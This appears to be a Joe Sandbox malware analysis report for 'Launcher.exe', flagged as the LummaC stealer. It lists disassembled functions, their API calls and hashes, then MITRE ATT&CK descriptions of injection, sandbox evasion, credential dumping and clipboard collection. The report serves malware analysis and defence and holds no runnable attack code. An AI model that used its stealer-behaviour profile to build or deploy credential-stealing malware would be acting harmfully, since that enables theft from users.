Opcode Fuzzy Hash: a1378438f99483dc32779370f730bf3bc4ebf5fdc3049bbc1347ef31869a5f90
Instruction Fuzzy Hash: 0A51F272600666BFDB29CF11E941BBA77B5EFA0300F14452DEC42472A0E731ECA0CB90

Function 00128086 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 001280EA
__dosmaperr.LIBCMT ref: 001280F1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0012812B
__dosmaperr.LIBCMT ref: 00128132

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c6a94dc7efde93db9c89bd87485a2034e5e1704f1ffa472b24a8a62eb8b55f88
Instruction ID: f4f957b047b58182d77fd37dd9fe19acc4c3b76998da297105cbe4c34d5367c1
Opcode Fuzzy Hash: c6a94dc7efde93db9c89bd87485a2034e5e1704f1ffa472b24a8a62eb8b55f88
Instruction Fuzzy Hash: 52210831601629AFDB24AF66EC81C6FB7ACFF203647118529F81997291DF31EC7187A0

Function 001195B2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524b1825ea01297b91910a6eb9f81d0affadb0a27135d5e8d36e9bd7079b7c24
Instruction ID: 6d54a7834d8d712672e87d741777ffb4f11abe3414cf4925e69e98ac66285808
Opcode Fuzzy Hash: 524b1825ea01297b91910a6eb9f81d0affadb0a27135d5e8d36e9bd7079b7c24
Instruction Fuzzy Hash: F021AE31200615AF9B2CAF65DCA09EB77ADBF203647114535F82A97650EB31ECD0C7B0

Function 0012947E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00129486

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001294BE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001294DE

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c91a05b80f449e2855aa043321437750d20f811cd8d7f713b77d84c4374015cf
Instruction ID: cc92b0a027bd42c84f7eca28af8f9b20aacec3d5dfdd61d109563f54451a8670
Opcode Fuzzy Hash: c91a05b80f449e2855aa043321437750d20f811cd8d7f713b77d84c4374015cf
Instruction Fuzzy Hash: BF11D6F5605635BFAB1627BABC89CBF7D5CDEA9395B100025F801D2111FB34DE6142B0

Function 001327D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000), ref: 001327E7
GetLastError.KERNEL32(?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?,?,?,00129F96,?), ref: 001327F3

Part of subcall function 00132850: CloseHandle.KERNEL32(FFFFFFFE,00132803,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?,?), ref: 00132860

___initconout.LIBCMT ref: 00132803

Part of subcall function 00132825: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001327C1,001314AC,?,?,0012A650,?,00000000,00000000,?), ref: 00132838

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,001314BF,00000000,00000001,?,?,?,0012A650,?,00000000,00000000,?), ref: 00132818

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5733ea8d244d75159f9e503fce3a46056bf697137c728dab604140efbde9c514
Instruction ID: 2249a02cb6804b6a5c3bf459ecb64ee20521d34bc79e3e137409444017a481d0
Opcode Fuzzy Hash: 5733ea8d244d75159f9e503fce3a46056bf697137c728dab604140efbde9c514
Instruction Fuzzy Hash: 52F0393A401219BBCF233F91DC0899A3FA6FF5E3A0F054054FA0886530C73289A0EBE1

Function 00116EF5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00116F07
GetCurrentThreadId.KERNEL32 ref: 00116F16
GetCurrentProcessId.KERNEL32 ref: 00116F1F
QueryPerformanceCounter.KERNEL32(?), ref: 00116F2C

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c54fa28feee5577ff27f113b6b9061760782494b2e394f33794a15bdca80c968
Instruction ID: 4c04c35d1deb8d9b291efaae8fffb1a4fe5b7ea22962bc5a9ec7cb23dcf8af06
Opcode Fuzzy Hash: c54fa28feee5577ff27f113b6b9061760782494b2e394f33794a15bdca80c968
Instruction Fuzzy Hash: 2FF06278D1020DEBCB01DBB4DA499DEBBF4FF1D200B918996A412E7520E730AB849B50

Function 00126C36 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0011C3A9,?,?,?,00000055,?,-00000050,?,?,?), ref: 00126CF5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0011C3A9,?,?,?,00000055,?,-00000050,?,?), ref: 00126D2C

Strings

utf8, xrefs: 00126DFE

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 3bc40570469dfba675e698a4a963915e3c5acb6270aa75c948e1731363c87998
Instruction ID: 995d4bca6d08dc81ba718d3f69bde6c6abe32927589ac4d669ae0fe495517f58
Opcode Fuzzy Hash: 3bc40570469dfba675e698a4a963915e3c5acb6270aa75c948e1731363c87998
Instruction Fuzzy Hash: 6B51D575600635AADB25BB70FC42BBB73A9EF28700F160429F9459B1C1F770EDB086A1

Function 0012BB8D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0012BC1D

Strings

pow, xrefs: 0012BBF5, 0012BC12

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 537e1ec902320ab07d2fc57ec3d8fa470d2f3435b82ed51674a858359cf4ab2f
Instruction ID: 914f3223e114509d053082c20e259780e551917e4f5645818f1bb22487fb636b
Opcode Fuzzy Hash: 537e1ec902320ab07d2fc57ec3d8fa470d2f3435b82ed51674a858359cf4ab2f
Instruction Fuzzy Hash: 0C517B61A0C2199ACB197714FD8137E3BA0DB50750F348D68F19A422A9EF358CF1ABC6

Function 00121D32 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00121C33,?,?,00000000,00000000,00000000,?), ref: 00121D57

Strings

MOC, xrefs: 00121D69
RCC, xrefs: 00121D71

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6ff61684ac4882f66b886dcab0d81dadb7327f15908f8d67c43f466435515dbf
Instruction ID: ae9a11d7abbc660b31d3be9ab9a2bf68a779d03d9f2b522e9841793fe4aebe46
Opcode Fuzzy Hash: 6ff61684ac4882f66b886dcab0d81dadb7327f15908f8d67c43f466435515dbf
Instruction Fuzzy Hash: 4A415732900219FFCF16DF94EC81AEEBBB6FF58300F158169F914A6221D335A9A0DB50

Function 0012159E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00121815

Strings

csm, xrefs: 00121837
csm, xrefs: 001218A8

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ce3a40eee6e0a5d4c6a4e51354852dffa80a663e838a0df983fc68f2f82f6d99
Instruction ID: 6c3354667f60f4b569ade4ecffc65dcbe89aa16ebfd158be6526dc408b110ca3
Opcode Fuzzy Hash: ce3a40eee6e0a5d4c6a4e51354852dffa80a663e838a0df983fc68f2f82f6d99
Instruction Fuzzy Hash: B931B436800239FBCF26DF90EC9096A7B66FF29719B19455AF85449121C332CCB1DB91

Function 004338C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004338FF
GetSystemMetrics.USER32 ref: 0043390E

Strings

, xrefs: 004339BC

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 66dfbf4dc30f183059557b68504e9ee72f779807de5d7c4afb8444b87805e80f
Instruction ID: a189fb9750785ed144f9156c81dfa44c083aa4eb5a57402c52afa477600ade29
Opcode Fuzzy Hash: 66dfbf4dc30f183059557b68504e9ee72f779807de5d7c4afb8444b87805e80f
Instruction Fuzzy Hash: 3C31B1B49183549FDB00EF78D98460EBBF4BF89704F11852EE498DB361D370A948CB86

Function 00101DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00101E6E

Strings

VirtualProtect, xrefs: 00101E61
@, xrefs: 00101EB7

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AddressProc
String ID: @$VirtualProtect
API String ID: 190572456-29487290
Opcode ID: e4d44cb4dfa2f400d291911e6f6fa1248a276a4dc13f5d6a1656b5ba54fc6d64
Instruction ID: e53bfc3459335220dd8390da14668d77f3fe0cc4da7cd0e9a7a13833c1ad7f18
Opcode Fuzzy Hash: e4d44cb4dfa2f400d291911e6f6fa1248a276a4dc13f5d6a1656b5ba54fc6d64
Instruction Fuzzy Hash: 8641C4B4900209EFDB04DFA9E59869EBBF0FF48314F108419E858AB391D779A984CF91

Function 00113961 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001139E9
RaiseException.KERNEL32(?,?,?,?), ref: 00113A0E

Part of subcall function 0011701C: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,0010305D), ref: 0011707D

Part of subcall function 0011EB23: IsProcessorFeaturePresent.KERNEL32(00000017,0011A15B,?,?,?,?,00000000,?,?,0011E5BE,00000000,00000000,00000000,00000000,00000000), ref: 0011EB3F

Strings

csm, xrefs: 0011399D

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 9486abe04d7a04e86416c7f5a808288635b8de8263b9a163083b88ff2293d50f
Instruction ID: 23498bbefd2398de121d74a709aeb7b349b58b57d8a5ce935697dd9159be691d
Opcode Fuzzy Hash: 9486abe04d7a04e86416c7f5a808288635b8de8263b9a163083b88ff2293d50f
Instruction Fuzzy Hash: E8215C31D00218DBCF28DF94E845AEEB7B5FF14710F144429E4A6AB295DB70AE85CB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
Launcher.exe

Function 0014519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

